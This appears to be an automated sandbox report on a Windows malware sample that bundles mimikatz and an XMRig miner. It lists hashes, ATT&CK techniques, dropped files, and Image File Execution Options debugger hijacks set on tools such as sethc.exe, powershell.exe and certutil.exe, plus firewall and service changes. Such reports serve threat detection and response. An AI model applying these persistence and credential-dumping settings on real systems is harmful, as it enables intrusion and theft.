mimikatz | a100f2d821e7e08d858fee383c3d17ff1b0128f4ec23a71d278f4a61146dc942

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2024 23:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
Size

7.4MB
MD5

92ba901df6e42d54ae3cea1e245c0888
SHA1

fd90f21f0ad40215acc985bb06723d74448072ec
SHA256

a100f2d821e7e08d858fee383c3d17ff1b0128f4ec23a71d278f4a61146dc942
SHA512

46f05fc233ec1ef009486544f3ab2ba8b1329a17a0f006790042674b6c8587db1d95cd925abb8a95970cd327b8cafa201c93464749276919cd069da53647a8cc
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2464 created 1716	2464	bytszzu.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (31084) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/4980-176-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-180-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-197-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-210-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-219-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-232-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-248-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-497-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-498-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-500-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-755-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig
behavioral2/memory/4980-757-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/916-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/916-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000b000000023b78-7.dat	mimikatz
behavioral2/memory/2328-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/5060-137-0x00007FF681E60000-0x00007FF681F4E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	bytszzu.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	bytszzu.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	bytszzu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	bytszzu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	bytszzu.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2116	netsh.exe
1916	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
2328	bytszzu.exe
2464	bytszzu.exe
1000	wpcap.exe
3448	hbnqbyuem.exe
5060	vfshost.exe
1264	xohudmc.exe
3292	dipzew.exe
4344	eybsetuye.exe
4980	bssyne.exe
2700	eybsetuye.exe
5088	eybsetuye.exe
2764	eybsetuye.exe
4376	eybsetuye.exe
4300	eybsetuye.exe
2116	eybsetuye.exe
3412	eybsetuye.exe
4116	eybsetuye.exe
212	eybsetuye.exe
2644	eybsetuye.exe
3248	eybsetuye.exe
4400	eybsetuye.exe
3584	eybsetuye.exe
376	bytszzu.exe
1856	eybsetuye.exe
2176	eybsetuye.exe
220	eybsetuye.exe
1616	eybsetuye.exe
4796	lmsemquci.exe
5408	bytszzu.exe

Loads dropped DLL 12 IoCs

pid	Process
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
1000	wpcap.exe
3448	hbnqbyuem.exe
3448	hbnqbyuem.exe
3448	hbnqbyuem.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
65	ifconfig.me
64	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	bytszzu.exe
File created	C:\Windows\SysWOW64\dipzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\dipzew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	bytszzu.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	bytszzu.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	bytszzu.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	bytszzu.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0008000000023c2b-134.dat	upx
behavioral2/memory/5060-135-0x00007FF681E60000-0x00007FF681F4E000-memory.dmp	upx
behavioral2/memory/5060-137-0x00007FF681E60000-0x00007FF681F4E000-memory.dmp	upx
behavioral2/files/0x0008000000023c5d-154.dat	upx
behavioral2/memory/4344-155-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4344-158-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/files/0x0008000000023c5a-162.dat	upx
behavioral2/memory/4980-163-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/2700-169-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/5088-173-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-176-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/2764-178-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-180-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4376-183-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4300-187-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/2116-191-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/3412-195-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-197-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4116-200-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/212-204-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/2644-208-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-210-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/3248-213-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4400-217-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-219-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/3584-222-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/1856-229-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/2176-231-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-232-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/220-234-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/1616-237-0x00007FF6DC840000-0x00007FF6DC89B000-memory.dmp	upx
behavioral2/memory/4980-248-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4980-497-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4980-498-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4980-500-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4980-755-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx
behavioral2/memory/4980-757-0x00007FF69BD40000-0x00007FF69BE60000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\nsyinawm\docmicfg.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\svschost.xml	bytszzu.exe
File opened for modification	C:\Windows\vuqibqfqb\ieymcmqub\Result.txt	lmsemquci.exe
File opened for modification	C:\Windows\nsyinawm\schoedcl.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\cnli-1.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\xdvl-0.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\Shellcode.ini	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\coli-0.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\AppCapture64.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\zlib1.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\docmicfg.xml	bytszzu.exe
File created	C:\Windows\nsyinawm\docmicfg.xml	bytszzu.exe
File opened for modification	C:\Windows\nsyinawm\svschost.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\Corporate\mimilib.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\tucl-1.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\ucl.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\spoolsrv.xml	bytszzu.exe
File created	C:\Windows\nsyinawm\bytszzu.exe	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\libeay32.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\svschost.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\ssleay32.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\vimpcsvc.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\schoedcl.xml	bytszzu.exe
File created	C:\Windows\nsyinawm\vimpcsvc.xml	bytszzu.exe
File created	C:\Windows\ime\bytszzu.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\wpcap.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\docmicfg.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\vimpcsvc.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\schoedcl.xml	bytszzu.exe
File created	C:\Windows\nsyinawm\svschost.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\AppCapture32.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\Corporate\vfshost.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\spoolsrv.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\Corporate\mimidrv.sys	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\ip.txt	bytszzu.exe
File opened for modification	C:\Windows\nsyinawm\bytszzu.exe	2024-12-30_92ba901df6e42d54ae3cea1e245c0888_hacktools_icedid_mimikatz.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\Packet.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\exma-1.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\spoolsrv.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\crli-0.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\posh-0.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\vimpcsvc.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\scan.bat	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\schoedcl.exe	bytszzu.exe
File created	C:\Windows\nsyinawm\spoolsrv.xml	bytszzu.exe
File opened for modification	C:\Windows\nsyinawm\vimpcsvc.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\ieymcmqub\lmsemquci.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\libxml2.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\trch-1.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\svschost.exe	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\docmicfg.exe	bytszzu.exe
File opened for modification	C:\Windows\vuqibqfqb\Corporate\log.txt	cmd.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\tibe-2.dll	bytszzu.exe
File created	C:\Windows\vuqibqfqb\UnattendGC\specials\trfo-2.dll	bytszzu.exe
File opened for modification	C:\Windows\nsyinawm\spoolsrv.xml	bytszzu.exe
File created	C:\Windows\vuqibqfqb\upbdrjv\swrpwe.exe	bytszzu.exe
File opened for modification	C:\Windows\vuqibqfqb\ieymcmqub\Packet.dll	bytszzu.exe
File created	C:\Windows\nsyinawm\schoedcl.xml	bytszzu.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1804	sc.exe
2160	sc.exe
4708	sc.exe
4828	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
